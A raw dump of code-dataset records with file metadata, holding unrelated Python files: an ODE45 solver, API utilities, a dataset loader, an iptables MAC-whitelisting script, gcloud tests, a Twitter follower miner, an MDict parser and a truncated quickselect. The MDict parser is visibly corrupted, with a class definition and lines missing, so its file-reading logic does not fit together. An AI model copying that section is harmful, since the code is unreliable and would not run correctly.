vhavenonnegative = True\n else:\n vhavenonnegative = False\n warning('OdePkg:InvalidArgument',\n 'Option \"nonnegative\" will be ignored if mass matrix is set')\n else:\n vhavenonnegative = False\n\n # outputsel: which indices to output\n if vodeoptions['outputsel'] != None:\n vhaveoutputselection = True\n else:\n vhaveoutputselection = False\n\n # outputsave: save solution every * steps\n if vodeoptions['outputsave'] == None:\n vodeoptions['outputsave'] = 1\n\n # initialstep\n if vodeoptions['initialstep'] == None and not vstepsizefixed:\n vodeoptions['initialstep'] = double(vslot[1] - vslot[0]) / 100\n#\t\twarning('OdePkg:InvalidArgument', 'Option \"initialstep\" not set, new value %f is used'%vodeoptions['initialstep'])\n\n # maxstep\n if vodeoptions['maxstep'] == None and not vstepsizefixed:\n vodeoptions['maxstep'] = double(vslot[1] - vslot[0]) / 10\n#\t\twarning ('OdePkg:InvalidArgument', 'Option \"maxstep\" not set, new value %f is used'%vodeoptions['maxstep'])\n\n # mass\n vhavemasshandle = False\n if vodeoptions['mass'].__class__.__name__ == 'ndarray':\n vmass = vodeoptions['mass'] # constant mass\n elif vodeoptions['mass'].__class__.__name__ == 'function':\n vhavemasshandle = True # mass defined by a function handle\n\n # Starting the initialization of the core solver ode45\n vtimestamp = vslot[0]\t\t\t# timestamp = start time\n vtimelength = len(vslot)\t\t# length needed if fixed steps\n vtimestop = vslot[-1]\t\t\t# stop time = last value\n vdirection = sign(vtimestop) # Flag for direction to solve\n\n eps = finfo(double).eps\n # TODO: eps hardcoded in ode45\n # eps = 1e-16\n if not vstepsizefixed:\n vstepsize = vodeoptions['initialstep']\n vminstepsize = double(vtimestop - vtimestamp) / (1. / eps)\n else: # If step size is given then use the fixed time steps\n vstepsize = vslot[1] - vslot[0]\n vminstepsize = sign(vstepsize) * eps\n\n vretvaltime = [vtimestamp]\t\t# first timestamp output\n vretvalresult = [vinit.copy()] # first solution output\n\n # 20071016, reported by Luis Randez\n # The Runge-Kutta-Fehlberg 4(5) coefficients\n # Coefficients proved on 20060827\n # See p.91 in Ascher & Petzold\n vpow = 1. / 5\n va = array([\n [0, 0, 0, 0, 0],\n [1. / 4, 0, 0, 0, 0],\n [3. / 32, 9. / 32, 0, 0, 0],\n [1932. / 2197, -7200. / 2197, 7296. / 2197, 0, 0],\n [439. / 216, -8, 3680. / 513, -845. / 4104, 0],\n [-8. / 27, 2, -3544. / 2565, 1859. / 4104, -11. / 40]])\n # 4th and 5th order b-coefficients\n vb4 = array([25. / 216, 0, 1408. / 2565, 2197. / 4104, -1. / 5, 0])\n vb5 = array(\n [16. / 135, 0, 6656. / 12825, 28561. / 56430, -9. / 50, 2. / 55])\n vc = sum(va, 1)\n\n # The solver main loop - stop if the endpoint has been reached\n vcntloop = 2\n vcntcycles = 1\n vu = vinit.copy()\n d = len(vinit)\n\n vk = zeros([6, d])\n\n vcntiter = 0\n while (vdirection * (vtimestamp) < vdirection * (vtimestop)) and (vdirection * (vstepsize) >= vdirection * (vminstepsize)):\n # Hit the endpoint of the time slot exactly\n if vtimestamp + vstepsize > vdirection * vtimestop:\n vstepsize = vtimestop - vdirection * vtimestamp\n\n # Estimate the six results using this solver\n vthetime = vtimestamp\n vtheinput = vu\n \n vk[0] = vfun(vthetime, vtheinput, *args)\n for j in range(1, 6):\n vthetime = vtimestamp + vc[j - 1] * vstepsize\n vtheinput = vu + vstepsize * dot(va[j][:j], vk[:j])\n vk[j] = vfun(vthetime, vtheinput, *args).T\n\n # Compute the 4th and the 5th order estimation\n y4 = vu + vstepsize * dot(vb4, vk)\n y5 = vu + vstepsize * dot(vb5, vk)\n # print 'vk:',vk\n # print 'y4:',y4,'y5:',y5\n if vhavenonnegative:\n vu[vodeoptions['nonnegative']] = abs(\n vu[vodeoptions['nonnegative']])\n y4[vodeoptions['nonnegative']] = abs(\n y4[vodeoptions['nonnegative']])\n y5[vodeoptions['nonnegative']] = abs(\n y5[vodeoptions['nonnegative']])\n vSaveVUForRefine = vu.copy()\n\n # Calculate the absolute local truncation error and the acceptable\n # error\n if not vstepsizefixed:\n if not vnormcontrol:\n vdelta = abs(y5 - y4)\n vtau = max(\n vodeoptions['reltol'] * abs(vu), vodeoptions['abstol'])\n # print abs(vu)\n else:\n vdelta = norm(y5 - y4, inf)\n vtau = max(\n [vodeoptions['reltol'] * max([norm(vu, inf), 1.0]), vodeoptions['abstol']])\n # print vtau\n else: # if (vstepsizefixed == True)\n vdelta = 1\n vtau = 2\n\n # print 'tau:',vtau,'delta:',vdelta,'stepsize',vstepsize\n\n # If the error is acceptable then update the vretval variables\n if all(vdelta <= vtau):\n vtimestamp = vtimestamp + vstepsize\n vu = y5 # use higher order estimation as \"local extrapolation\"\n # Save the solution every vodeoptions['outputsave'] steps\n if mod(vcntloop - 1, vodeoptions['outputsave']) == 0:\n vretvaltime.append(vtimestamp)\n vretvalresult.append(vu)\n vcntloop = vcntloop + 1\n vcntiter = 0\n\n # Update the step size for the next integration step\n if not vstepsizefixed:\n # 20080425, reported by Marco Caliari\n # vdelta cannot be negative (because of the absolute value that\n # has been introduced) but it could be 0, then replace the zeros\n # with the maximum value of vdelta\n if size(vdelta) > 1:\n vdelta[vdelta == 0] = max(vdelta)\n#\t\t\telif vdelta == 0:\n#\t\t\t\tvdelta = vtau * (0.4 ** (1. / vpow))\n # It could happen that max (vdelta) == 0 (ie. that the original\n # vdelta was 0), in that case we double the previous vstepsize\n if size(vdelta) > 1:\n vdelta[vdelta == 0] = max(vtau) * (0.4 ** (1. / vpow))\n\n#\t\t\tprint 'vtau',vtau,'vdelta',vdelta\n\n if vdirection == 1:\n vstepsize = min(\n [vodeoptions['maxstep'], min(0.8 * vstepsize * (vtau / vdelta) ** vpow)])\n else:\n vstepsize = max(\n [vodeoptions['maxstep'], max(0.8 * vstepsize * (vtau / vdelta) ** vpow)])\n\n #\tprint 'stepsize:',vstepsize\n\n else: # if (vstepsizefixed)\n if vcntloop <= vtimelength:\n # Quick fix\n if vcntloop == vtimelength:\n vstepsize = vslot[vcntloop-1] - vslot[vcntloop - 2]\n else:\n vstepsize = vslot[vcntloop] - vslot[vcntloop - 1]\n else: # Get out of the main integration loop\n break\n\n # Update counters that count the number of iteration cycles\n vcntcycles = vcntcycles + 1\t\t# Needed for cost statistics\n vcntiter = vcntiter + 1\t\t\t# Needed to find iteration problems\n # Stop solving because in the last 1000 steps no successful valid value\n # has been found\n if (vcntiter >= 1000):\n error(\"fatal\", \"Solving has not been successful. The iterative integration loop exited at time t = %f before endpoint at tend = %f was reached. This happened because the iterative integration loop does not find a valid solution at this time stamp. Try to reduce the value of \\\"initialstep\\\" and/or \\\"maxstep\\\" with the command \\\"odeset\\\".\\n\" %\n (vtimestamp, vtimestop))\n\n # Check if integration of the ode has been successful\n # print 'vdirection',vdirection\n # print 'vtimestamp',vtimestamp\n # print 'vtimestop',vtimestop\n # print 'vodeoptions[initialstep]',vodeoptions['initialstep']\n # print 'vminstepsize',vminstepsize\n # print 'maxstep',vodeoptions['initialstep']\n\n if vdirection * vtimestamp < vdirection * vtimestop:\n error('OdePkg:InvalidArgument', 'Solving has not been successful. The iterative integration loop exited at time t = %f before endpoint at tend = %f was reached. This may happen if the stepsize grows smaller than defined in vminstepsize. Try to reduce the value of \"initialstep\" and/or \"maxstep\" with the command \"odeset\".\\n' %\n (vtimestamp, vtimestop))\n\n # Save the last step, if not already saved\n if mod(vcntloop - 2, vodeoptions['outputsave']) != 0:\n vretvaltime.append(vtimestamp)\n vretvalresult.append(vu)\n\n # Print additional information if option stats is set\n if vodeoptions['stats'] == 'on':\n vhavestats = True\n vnsteps = vcntloop - 2\t\t\t\t\t\t# vcntloop from 2..end\n # vcntcycl from 1..end\n vnfailed = (vcntcycles - 1) - (vcntloop - 2) + 1\n vnfevals = 6 * (vcntcycles - 1)\t\t\t\t\t# number of ode evaluations\n vndecomps = 0\t\t\t\t\t\t\t\t\t# number of LU decompositions\n vnpds = 0\t\t\t\t\t\t\t\t\t# number of partial derivatives\n vnlinsols = 0\t\t\t\t\t\t\t\t\t# no. of solutions of linear systems\n # Print cost statistics if no output argument is given\n print('Number of successful steps %d' % vnsteps)\n print('Number of failed attempts: %d' % vnfailed)\n print('Number of function calls: %d' % vnfevals)\n else:\n vhavestats = False\n\n vretvaltime = array(vretvaltime)\n vretvalresult = array(vretvalresult)\n if vhaveoutputselection:\n vretvalresult = vretvalresult.transpose(\n )[vodeoptions['outputsel']].transpose()\n return (vretvaltime, vretvalresult)\n","sub_path":"beluga/integrators/ode45.py","file_name":"ode45.py","file_ext":"py","file_size_in_byte":14234,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"144577137","text":"from grow.pods import pods\nfrom grow.pods import index\nfrom grow.pods import storage\nimport unittest\n\n\nclass IndexTest(unittest.TestCase):\n\n def setUp(self):\n self.pod = pods.Pod('grow/pods/testdata/pod/', storage=storage.FileStorage)\n\n def test_diff(self):\n my_index = index.Index()\n my_index.update({\n '/file.txt': 'test',\n '/file2.txt': 'test',\n '/foo/file.txt': 'test',\n '/foo/file.txt': 'test',\n })\n their_index = index.Index()\n their_index.update({\n '/file2.txt': 'change',\n '/foo/file.txt': 'test',\n '/foo/file.txt': 'test',\n '/bar/new.txt': 'test',\n })\n expected = index.Diff(\n adds=['/file.txt'],\n edits=['/file2.txt'],\n deletes=['/bar/new.txt'],\n nochanges=['/foo/file.txt'],\n )\n self.assertEqual(expected, my_index.diff(their_index))\n\n\nif __name__ == '__main__':\n unittest.main()\n\n","sub_path":"grow/pods/index_test.py","file_name":"index_test.py","file_ext":"py","file_size_in_byte":893,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"154207206","text":"# -*- coding: utf-8 -*-\n\nimport json\nfrom functools import wraps\nimport datetime\n\nfrom vilya.libs.template import request as req\nfrom vilya.models.user import User\nfrom vilya.views.api import errors\n\nfrom quixote.publish import get_publisher\n\n\nAPI_RESULT_DEFAULT_PER_PAGE = 20\n\n\nclass DatetimeEncoder(json.JSONEncoder):\n \"\"\"\n Provide encoder for datetime object\n \"\"\"\n\n def default(self, obj):\n if isinstance(obj, datetime.datetime) or isinstance(obj, datetime.date):\n return obj.isoformat()\n else:\n return json.JSONEncoder.default(self, obj)\n\n\ndef jsonize(func):\n @wraps(func)\n def _(*a, **kw):\n body = func(*a, **kw)\n # if the body is empty return \"\", so the response body is empty\n # NOTE: empety array in a resaonble response\n if body or body == []:\n return json.dumps(body, cls=DatetimeEncoder)\n else:\n return \"\"\n return _\n\n\ndef json_body(func):\n def _(*args, **kwargs):\n body = req.stdin.read()\n if body:\n try:\n req.data = json.loads(body)\n except ValueError:\n raise errors.NotJsonError\n return func(*args, **kwargs)\n return _\n\n\ndef http_status(status_code):\n def status_decorator(fn):\n @wraps(fn)\n def wrapper(*args, **kwargs):\n req.response.set_status(int(status_code))\n return fn(*args, **kwargs)\n return wrapper\n return status_decorator\n\n\ndef pagination(func):\n def _(*args, **kwargs):\n try:\n req.page = int(req.get_form_var('page'))\n except TypeError:\n req.page = 0\n try:\n req.count = int(req.get_form_var('count'))\n except TypeError:\n req.count = API_RESULT_DEFAULT_PER_PAGE\n return func(*args, **kwargs)\n return _\n\n\ndef api_require_login(fn):\n @wraps(fn)\n def wrapper(*args, **kwargs):\n if not req.user:\n raise errors.UnauthorizedError\n return fn(*args, **kwargs)\n return wrapper\n\n\ndef api_list_user(users):\n rs = []\n for username in users:\n user = User.get_by_name(username)\n rs.append({'username': user.username,\n 'avatar_url': user.avatar_url,\n 'email': user.email,\n 'url': user.url, })\n return rs\n\n\nclass RestAPIUI(object):\n _q_exports = []\n _q_methods = []\n\n def _q_index(self, req):\n method = req.method.lower()\n if method not in self._q_methods:\n raise errors.MethodNotAllowedError\n\n self.user = req.user\n endpoints = {\n \"get\": self._get,\n \"post\": self._post,\n \"put\": self._put,\n \"patch\": self._patch,\n \"delete\": self._delete\n }\n\n return endpoints[method](req)\n\n @jsonize\n def _get(self, req):\n return self.get(req)\n\n @jsonize\n @json_body\n @http_status(201)\n @api_require_login\n def _post(self, req):\n return self.post(req)\n\n @jsonize\n @json_body\n @api_require_login\n def _put(self, req):\n return self.put(req)\n\n @jsonize\n @json_body\n @api_require_login\n def _patch(self, req):\n return self.patch(req)\n\n @http_status(204)\n @api_require_login\n def _delete(self, req):\n self.delete(req)\n return \"\"\n\n def get(self, req):\n raise NotImplementedError(\"You need to implement this method in subclass\")\n\n def post(self, req):\n raise NotImplementedError(\"You need to implement this method in subclass\")\n\n def put(self, req):\n raise NotImplementedError(\"You need to implement this method in subclass\")\n\n def patch(self, req):\n raise NotImplementedError(\"You need to implement this method in subclass\")\n\n def delete(self, req):\n raise NotImplementedError(\"You need to implement this method in subclass\")\n\n\nclass APIRootBase(object):\n _q_exports = []\n\n def __call__(self, request):\n return self._q_index(request)\n\n @jsonize\n def _q_index(self, request):\n \"\"\"\n index view of api root, just return a dictionary with current api version\n :returns: a json string gives the current api version\n \"\"\"\n return {\"api_version\": self.version_string}\n\n @property\n def version(self):\n \"\"\"\n tuple of current api version, the first item of tuple is the main version of api,\n the second item of the tuple represents sub version, the subversion should be updated\n everytime you revise current version.\n\n :returns: a tuple contains 2 elements that present, eg:(1, 0)\n \"\"\"\n raise NotImplementedError\n\n @property\n def version_string(self):\n \"\"\"\n join version tuple into string\n :returns: string presents current version, eg. 1.0\n \"\"\"\n return '.'.join(map(str, self.version))\n\n def _publish(self, part):\n if part in self._q_exports:\n obj = getattr(self, part)\n if obj:\n return obj\n elif hasattr(self, '_q_resolve'):\n return self._q_resolve(part)\n raise errors.NotFoundError()\n\n def publish(self, request, part):\n \"\"\"\n this function works as a simple publisher class for request sent to default version\n\n :part: the first component of the request\n :returns: a quixote compatible ui object or module\n \"\"\"\n publisher = get_publisher()\n publisher.namespace_stack.append(self)\n return self._publish(part)\n\n def _q_exception_handler(self, request, exception):\n \"\"\"\n quixote exception handler, dumps error object into json representation\n :returns: a json string gives the error infomation\n eg: {'code':404,\n 'type':'Not Found',\n 'api_version':'1.0',\n 'message':'some message',}\n \"\"\"\n from quixote import errors as quixote_errors\n\n if isinstance(exception, errors.CodeAPIError):\n pass\n elif isinstance(exception, quixote_errors.TraversalError):\n exception = errors.NotFoundError()\n elif isinstance(exception, quixote_errors.AccessError):\n exception = errors.ForbiddenError()\n else:\n # raise the exception here to debug, cause a non-PublishError is raised\n raise exception\n\n error_data = exception.to_dict()\n error_data['api_version'] = self.version_string\n request.response.set_content_type('application/json; charset=utf-8')\n return json.dumps(error_data)\n","sub_path":"vilya/views/api/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":6660,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"587533376","text":"from torch.utils.data import Dataset\nfrom glob import glob\nfrom helpers.quaternion import Quaternion\nfrom collections import namedtuple\nimport numpy as np\n\n\nclass ObjectsDataset(Dataset):\n \"\"\"A PyTorch wrapper for the Objects dataset\n \"\"\"\n\n classes = ['ape', 'benchvise', 'cam', 'cat', 'duck']\n\n def __init__(self, dataset_dir):\n \"\"\"Initializes the ObjectsDataset: Loads the images and their \n respective poses (i.e. Quaternions)\n\n Arguments:\n dataset_dir {string} -- location of the dataset folder\n \"\"\"\n \n self.mean = np.array([63.96652548, 54.81466454, 48.04923144])[:, np.newaxis, np.newaxis]\n\n with open('{}real/training_split.txt'.format(dataset_dir)) as f:\n training_split = f.readline()\n training_indices = {\n int(idx.strip())\n for idx in training_split.strip().split(',')\n }\n\n dataset_train = {}\n dataset_test = {}\n dataset_coarse = {}\n\n for c in ObjectsDataset.classes:\n dataset_train[c] = []\n dataset_test[c] = []\n dataset_coarse[c] = []\n\n images = glob('/{}/real/{}/*.png'.format(dataset_dir, c))\n all_indices = set(range(len(images)))\n\n with open('{}real/{}/poses.txt'.format(dataset_dir, c)) as f:\n poses = f.readlines()\n\n # Training set from \"real\"\n for idx in training_indices:\n pose = Quaternion(\n *map(float, poses[2 * idx + 1].strip().split(' ')))\n image = '{}real/{}/real{}.png'.format(dataset_dir, c, idx)\n\n dataset_train[c].append((image, pose))\n\n # Testing set from \"real\"\n for idx in all_indices - training_indices:\n if 2 * idx + 1 > len(poses) - 1:\n # If the image has no pose, then skip it!\n continue\n\n pose = Quaternion(\n *map(float, poses[2 * idx + 1].strip().split(' ')))\n image = '{}real/{}/real{}.png'.format(dataset_dir, c, idx)\n\n dataset_test[c].append((image, pose))\n\n # Training set from \"fine\"\n images = glob('{}fine/{}/*.png'.format(dataset_dir, c))\n with open('{}fine/{}/poses.txt'.format(dataset_dir, c)) as f:\n poses = f.readlines()\n\n for idx in range(len(images)):\n pose = Quaternion(\n *map(float, poses[2 * idx + 1].strip().split(' ')))\n image = '{}fine/{}/fine{}.png'.format(dataset_dir, c, idx)\n dataset_train[c].append((image, pose))\n\n # Database set from \"coarse\"\n images = glob('{}coarse/{}/*.png'.format(dataset_dir, c))\n with open('{}coarse/{}/poses.txt'.format(dataset_dir, c)) as f:\n poses = f.readlines()\n\n for idx in range(len(images)):\n pose = Quaternion(\n *map(float, poses[2 * idx + 1].strip().split(' ')))\n image = '{}coarse/{}/coarse{}.png'.format(dataset_dir, c, idx)\n dataset_coarse[c].append((image, pose))\n\n self.dataset_test = dataset_test\n self.dataset_coarse = dataset_coarse\n self.dataset_train = dataset_train\n self.classes = ObjectsDataset.classes\n","sub_path":"datasets/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":3358,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"524865889","text":"# _*_ coding: utf-8_*_\n\n\nimport sys\nfrom socket import AF_INET\n\nimport iptc\nfrom pynetfilter_conntrack import Conntrack\n\n\ndef destroy_conntrack(ip):\n try:\n nf = Conntrack()\n table = nf.dump_table(AF_INET)\n for entry in table:\n if 'src=' + ip in str(entry):\n nf.destroy_conntrack(entry)\n return True\n except Exception:\n return False\n\n\ndef insert_rule(mac):\n try:\n chain = iptc.Chain(iptc.Table(iptc.Table.MANGLE), \"internet\")\n rule = iptc.Rule()\n match = iptc.Match(rule, \"mac\")\n match.mac_source = mac\n rule.add_match(match)\n rule.target = iptc.Target(rule, \"RETURN\")\n if rule not in chain.rules:\n chain.insert_rule(rule)\n return True\n except Exception:\n return False\n\n\nif __name__ == '__main__':\n if len(sys.argv) == 3:\n insert_result = insert_rule(sys.argv[1])\n conn_result = destroy_conntrack(sys.argv[2])\n if insert_result and conn_result:\n exit(0)\n else:\n exit(2)\n elif len(sys.argv) == 2:\n if insert_rule(sys.argv[1]):\n exit(0)\n else:\n exit(2)\n else:\n exit(3)\n","sub_path":"utils/sub_usernetcontrol.py","file_name":"sub_usernetcontrol.py","file_ext":"py","file_size_in_byte":1215,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"201910935","text":"# -*- coding: utf-8 -*- #\n# Copyright 2018 Google Inc. All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\"\"\"Tests for the sole-tenancy node-groups delete subcommand.\"\"\"\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import unicode_literals\n\nfrom tests.lib import test_case\nfrom tests.lib.surface.compute import test_base\n\n\nclass NodeGroupsCreateTest(test_base.BaseTest):\n\n def SetUp(self):\n self.region = 'us-central1'\n self.zone = 'us-central1-a'\n\n def _ExpectCreate(self, node_group, target_size):\n request = self.messages.ComputeNodeGroupsInsertRequest(\n project=self.Project(),\n zone=self.zone,\n nodeGroup=node_group,\n initialNodeCount=target_size)\n self.make_requests.side_effect = [[node_group]]\n return request\n\n def _CreateNodeGroup(self, name, description, node_template):\n node_template_self_link = (\n 'https://www.googleapis.com/compute/v1/projects/{project}/regions/'\n '{region}/nodeTemplates/{name}'.format(\n project=self.Project(), region=self.region, name=node_template))\n node_group = self.messages.NodeGroup(\n name=name,\n description=description,\n nodeTemplate=node_template_self_link)\n return node_group\n\n def testCreate_AllOptions(self):\n node_group = self._CreateNodeGroup(\n name='my-node-group',\n description='Frontend Group',\n node_template='my-template')\n request = self._ExpectCreate(node_group, 3)\n\n result = self.Run(\n 'compute sole-tenancy node-groups create my-node-group '\n '--node-template my-template --target-size 3 '\n '--description \"Frontend Group\" --zone ' + self.zone)\n\n self.CheckRequests([(self.compute.nodeGroups, 'Insert', request)])\n self.assertEqual(result, node_group)\n\n def testCreate_NodeTemplateRelativeName(self):\n node_group = self._CreateNodeGroup(\n name='my-node-group',\n description='Frontend Group',\n node_template='my-template')\n request = self._ExpectCreate(node_group, 3)\n\n result = self.Run(\n 'compute sole-tenancy node-groups create my-node-group '\n '--node-template '\n ' projects/{project}/regions/{region}/nodeTemplates/my-template '\n '--target-size 3 --description \"Frontend Group\" --zone {zone}'\n .format(project=self.Project(), region=self.region, zone=self.zone))\n\n self.CheckRequests([(self.compute.nodeGroups, 'Insert', request)])\n self.assertEqual(result, node_group)\n\n\nif __name__ == '__main__':\n test_case.main()\n","sub_path":"google-cloud-sdk/lib/tests/unit/surface/compute/sole_tenancy/node_groups/create_test.py","file_name":"create_test.py","file_ext":"py","file_size_in_byte":3071,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"567613589","text":"from authenticatetw import api\n\nfollowers = api.followers(count=100)\ncsf = open(\"followers_data.csv\", \"w\")\ncsf.write(\n \"id\\tusername\\tnames\\tfollowers\\ttweets\\tjoined\\tlocation\\tfollowing\\tdescription\\n\")\nfor fl in followers:\n csf.write(\"\\t\".join([str(k).replace(\"\\n\", \" \") for k in [fl.id, fl.screen_name, fl.name, fl.followers_count, fl.statuses_count,\n fl.created_at, fl.location, fl.friends_count, fl.description]])+\"\\n\")\n print(\"\\t\".join([str(k).replace(\"\\n\", \" \") for k in [fl.id, fl.screen_name, fl.name, fl.followers_count, fl.statuses_count,\n fl.created_at, fl.location, fl.friends_count, fl.description]])+\"\\n\")\n","sub_path":"misc/mine_followers.py","file_name":"mine_followers.py","file_ext":"py","file_size_in_byte":747,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"136075963","text":"\r\nfrom io import FileIO\r\nimport struct\r\nimport zlib\r\nimport util\r\nimport os\r\nfrom xml.dom.minidom import parseString\r\n\r\nDEFAULT_ENCODING = \"UTF-8\"\r\n\r\nBYTE_LENGTH_NUMBER = 8\r\nBYTE_LENGTH_WORD = 2\r\n\r\n\r\nclass DataDefine:\r\n\r\n def __init__(self, version='2.0', encoding=DEFAULT_ENCODING):\r\n self._version = version\r\n self._encoding = encoding\r\n\r\n def read(self, file: FileIO):\r\n raise NotImplementedError()\r\n\r\n def getData(self):\r\n raise NotImplementedError()\r\n\r\n\r\nclass FileHeaderDataDefine(DataDefine):\r\n\r\n def __init__(self):\r\n super().__init__()\r\n\r\n def read(self, file: FileIO):\r\n length = struct.unpack('>L', file.read(4))[0]\r\n header = file.read(length)\r\n adler32 = struct.unpack('L', file.read(4))[0]\r\n assert(adler32 == zlib.adler32(headerData) & 0xffffffff)\r\n self._data = struct.unpack('>QQQQQ', headerData)\r\n\r\n def getData(self):\r\n return self._data\r\n\r\n def getBlocksNum(self):\r\n return self._data[0]\r\n\r\n def getEntriesNum(self):\r\n return self._data[1]\r\n\r\n def getIndexDeCompLength(self):\r\n return self._data[2]\r\n\r\n def getIndexCompLength(self):\r\n return self._data[3]\r\n\r\n def getBlocksLength(self):\r\n return self._data[4]\r\n\r\n\r\nclass KeywardIndexDataDefine(DataDefine):\r\n\r\n def __init__(self, length, encrypt):\r\n super().__init__()\r\n self._length = length\r\n self._encrypt = encrypt\r\n\r\n def read(self, file: FileIO):\r\n keywardIndexData = file.read(self._length)\r\n if self._encrypt & 0x02:\r\n keywardIndexData = util._mdx_decrypt(keywardIndexData)\r\n keywardBlockInfo = zlib.decompress(keywardIndexData[8:])\r\n adler32 = struct.unpack('>I', keywardIndexData[4:8])[0]\r\n assert(adler32 == zlib.adler32(keywardBlockInfo) & 0xffffffff)\r\n\r\n byte_format = '>H'\r\n byte_width = 2\r\n text_term = 1\r\n\r\n i = 0\r\n keyIndex = []\r\n while i < len(keywardBlockInfo):\r\n entriesNum = struct.unpack(\r\n '>Q', keywardBlockInfo[i:i+BYTE_LENGTH_NUMBER])[0]\r\n i += BYTE_LENGTH_NUMBER\r\n firstKeyLength = struct.unpack(\r\n byte_format, keywardBlockInfo[i:i+byte_width])[0]\r\n i += byte_width\r\n\r\n firstKey = str(\r\n keywardBlockInfo[i:i+firstKeyLength], encoding=DEFAULT_ENCODING)\r\n i += firstKeyLength + text_term\r\n\r\n lastKeyLength = struct.unpack(\r\n byte_format, keywardBlockInfo[i:i+byte_width])[0]\r\n i += byte_width\r\n lastKey = str(\r\n keywardBlockInfo[i:i + lastKeyLength], encoding=DEFAULT_ENCODING)\r\n i += lastKeyLength + text_term\r\n\r\n compKeyBlocksSize = struct.unpack(\r\n '>Q', keywardBlockInfo[i:i+BYTE_LENGTH_NUMBER])[0]\r\n i += BYTE_LENGTH_NUMBER\r\n\r\n deCompKeyBlocksSize = struct.unpack(\r\n '>Q', keywardBlockInfo[i:i+BYTE_LENGTH_NUMBER])[0]\r\n i += BYTE_LENGTH_NUMBER\r\n keyIndex.append({\r\n 'entries_number': entriesNum,\r\n 'first_keyward': firstKey,\r\n 'first_keyward_length': firstKeyLength,\r\n 'last_keyward': lastKey,\r\n 'last_keyward_length': lastKeyLength,\r\n 'compress_key_blocks_size': compKeyBlocksSize,\r\n 'decompress_key_blocks_size': deCompKeyBlocksSize\r\n })\r\n self._data = keyIndex\r\n\r\n def getData(self):\r\n return self._data\r\n\r\n\r\nclass KeywardBlockDataDefine(DataDefine):\r\n\r\n def __init__(self, length):\r\n super().__init__()\r\n self._length = length\r\n\r\n def read(self, file: FileIO):\r\n keywardBlockData = zlib.decompress(file.read(self._length)[8:])\r\n key_list = []\r\n key_start_index = 0\r\n while key_start_index < len(keywardBlockData):\r\n # the corresponding record's offset in record block\r\n key_id = struct.unpack(\r\n '>Q', keywardBlockData[key_start_index:key_start_index+BYTE_LENGTH_NUMBER])[0]\r\n delimiter = b'\\x00'\r\n width = 1\r\n i = key_start_index + BYTE_LENGTH_NUMBER\r\n while i < len(keywardBlockData):\r\n if keywardBlockData[i:i+width] == delimiter:\r\n key_end_index = i\r\n break\r\n i += width\r\n key_text = str(\r\n keywardBlockData[key_start_index+BYTE_LENGTH_NUMBER:key_end_index], encoding=DEFAULT_ENCODING).strip()\r\n key_start_index = key_end_index + width\r\n key_list += [(key_id, key_text)]\r\n self._data = key_list\r\n\r\n def getData(self):\r\n return self._data\r\n\r\n\r\nclass RecordIndexDataDefine(DataDefine):\r\n\r\n def __init__(self, length):\r\n super().__init__()\r\n self._length = length\r\n\r\n def read(self, file: FileIO):\r\n pass\r\n\r\n def getData(self):\r\n return self._data\r\n\r\n\r\nclass RecordBlockDataDefine(DataDefine):\r\n\r\n def __init__(self, length):\r\n super().__init__()\r\n self._length = length\r\n\r\n def read(self, file: FileIO):\r\n pass\r\n\r\n def getData(self):\r\n return self._data\r\n\r\n\r\nclass Mdict:\r\n def __init__(self, filepath):\r\n self._filepath = filepath\r\n self.__parse()\r\n\r\n def getHeader(self, key=None):\r\n element = parseString(self._fileheader).documentElement\r\n if key is None:\r\n return element.attributes.items()\r\n return element.getAttribute(key)\r\n\r\n def __parse(self):\r\n with open(self._filepath, 'rb') as file:\r\n hdf = FileHeaderDataDefine()\r\n hdf.read(file)\r\n self._fileheader = hdf.getData()\r\n self._encrypt = int(self.getHeader('Encrypted'))\r\n kdf = KeywardHeaderDataDefine()\r\n kdf.read(file)\r\n self._entriesNum = kdf.getEntriesNum()\r\n self._blocksNum = kdf.getBlocksNum()\r\n\r\n kid = KeywardIndexDataDefine(kdf.getIndexCompLength(), self._encrypt)\r\n kid.read(file)\r\n self._keywardIndex = kid.getData()\r\n\r\n for i in range(self._blocksNum):\r\n kbd = KeywardBlockDataDefine(\r\n self._keywardIndex[i]['compress_key_blocks_size'])\r\n kbd.read(file)\r\n print(kbd.getData())\r\n\r\n def getFileInfo(self):\r\n pass\r\n\r\n\r\nBASE_PATH = os.path.dirname(__file__)\r\n# DATA_FILE = os.path.join(BASE_PATH, '牛津高阶8简体.mdx')\r\nDATA_FILE = os.path.join(BASE_PATH, 'example_output/basic.mdx')\r\n\r\nmdict = Mdict(DATA_FILE)\r\n# print(mdict.getHeader())\r\n","sub_path":"python/mdict/mdict.py","file_name":"mdict.py","file_ext":"py","file_size_in_byte":7118,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"275848292","text":"#!/usr/bin/python\nimport random\n\n\n# The array that is to be sorted\narray = [1, 3, 5, 7, 9, 11, 13, 15, 17, 19]\n\n\ndef partition(left, right, index):\n pivot = array[index]\n temp = array[index]\n array[index] = array[right]\n array[right] = temp\n saveIndex = left\n for i in range(left, right):\n if array[i] < pivot:\n temp = array[saveIndex]\n array[saveIndex] = array[i]\n array[i] = temp\n saveIndex += 1\n temp = array[right]\n array[right] = array[saveIndex]\n array[saveIndex] = temp\n return saveIndex\n\n\ndef quickSelect(left, right, k):\n if left == right:\n return array[right]\n pivot = left + int(random.random() % (right - left + 1))\n 